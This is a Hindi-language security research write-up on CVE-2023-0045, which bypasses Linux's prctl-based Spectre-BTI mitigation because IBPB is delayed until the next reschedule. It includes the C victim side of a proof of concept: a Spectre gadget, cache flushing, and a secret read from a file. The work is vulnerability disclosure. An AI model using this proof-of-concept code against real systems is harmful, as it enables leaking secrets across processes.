लिनक्स पर Spectre-BTI उपयोगकर्ता स्थान शमन को बायपास करना

यह एक कार्यशील दस्तावेज़ है, यदि आपको लगता है कि हमने कुछ गलत समझा है या हम एक उद्धरण चूक गए हैं तो कृपया हमें प्रतिक्रिया भेजें

संस्करण 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

परिचय

Spectre-BTI हमलों की सफलता दर का परीक्षण करते समय, हमने कर्नेल API को शमन के रूप में उपयोग करते हुए एक अजीब पैटर्न का पता लगाया¹। हमारे परीक्षणों से पता चला कि लिनक्स कर्नेल syscall के बाद थोड़े समय के लिए प्रक्रिया को उजागर छोड़ते हुए हमले को सही ढंग से कम करने में विफल रहता है।

आगे की जांच से पता चला कि कर्नेल syscall के दौरान तुरंत IBPB जारी नहीं करता है। ib_prctl_set² फ़ंक्शन कार्य के लिए थ्रेड सूचना फ़्लैग (TIFs) को अपडेट करता है और फ़ंक्शन __speculation_ctrl_update पर SPEC_CTRL MSR को अपडेट करता है, लेकिन IBPB केवल अगले शेड्यूल पर जारी किया जाता है, जब TIF बिट्स की जाँच की जाती है। यह पीड़ित को prctl syscall से पहले BTB में पहले से इंजेक्ट किए गए मानों के प्रति संवेदनशील छोड़ देता है। व्यवहार केवल कार्य के पुनर्निर्धारण के बाद ठीक किया जाता है। इसके अलावा, कर्नेल प्रवेश (स्वयं syscall के कारण) डिफ़ॉल्ट परिदृश्यों में IBPB जारी नहीं करता है (अर्थात, जब कर्नेल retpoline या eIBRS के माध्यम से स्वयं को सुरक्षित रखता है)।

#include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <sys/prctl.h> char unused[0x1000]; void (*codePtr)(char *, char *, unsigned idx); char unused2[0x1000]; // यह फ़ंक्शन कुछ नहीं करता है। पीड़ित द्वारा हमेशा कॉल किया जाता है void safe_function(char *a, char *b, unsigned idx) { } // यह फ़ंक्शन पीड़ित द्वारा कभी कॉल नहीं किया जाता है void spectre_gadget(char *addr, char *secret, unsigned idx) { volatile char d; if ((secret[idx / 8] >> (idx % 8)) & 1) d = *addr; } // बेहतर परिणामों के लिए सहायक, संभवतः आवश्यक नहीं है लेकिन परीक्षणों को आसान बनाता है void flush(char *adrs) { asm volatile( "clflush [%0] \n" : : "c"(adrs) :); } // यह फ़ंक्शन spectre-BTI हमले के प्रति संवेदनशील है। void spec(char *addr, char *secret, unsigned idx) { for (register int i = 0; i < 30; i++) ; codePtr(addr, secret, idx); } // फ़ाइल को केवल पढ़ने के लिए मेमोरी में खोलता है जिसका उपयोग साइड चैनल के रूप में किया जा सकता है, लेकिन कोई अन्य COW फ़ाइल जैसे libc भी हो सकती है char *open_shared_mem() { int fd = open("sharedmem", O_RDONLY); char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0); // सुनिश्चित करें कि पृष्ठ मेमोरी पर है volatile char d = res[2100]; return res; } // फ़ाइल से रहस्य लोड करें void load_secret(char *secret) { FILE *fp = fopen("secret.txt", "r"); fgets(secret, 20, (FILE *)fp); } // पीड़ित को spectre-BTI हमलों से बचाने के लिए prctl कॉल करता है - https://docs.kernel.org/userspace-api/spec_ctrl.html void protect_me() { usleep(1000); //आवश्यक नहीं है लेकिन शेड्यूलर पर उपलब्ध समय को रीसेट करता है prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); } // उपयोगिता। सभी उपयोगिता फ़ंक्शन common पर रखे गए हैं ताकि spec फ़ंक्शन पीड़ित और हमलावर दोनों पर समान पते से मेल खाए। यह आवश्यक नहीं है लेकिन परीक्षणों को आसान बनाता है unsigned string_to_unsigned(char *s) { return atoi(s); }

CVE-2023-0045

सबसे लोकप्रिय

prctl शमन

परीक्षण

प्रूफ ऑफ कॉन्सेप्ट

निष्कर्ष

शमन

समयरेखा

संदर्भ:

Footnotes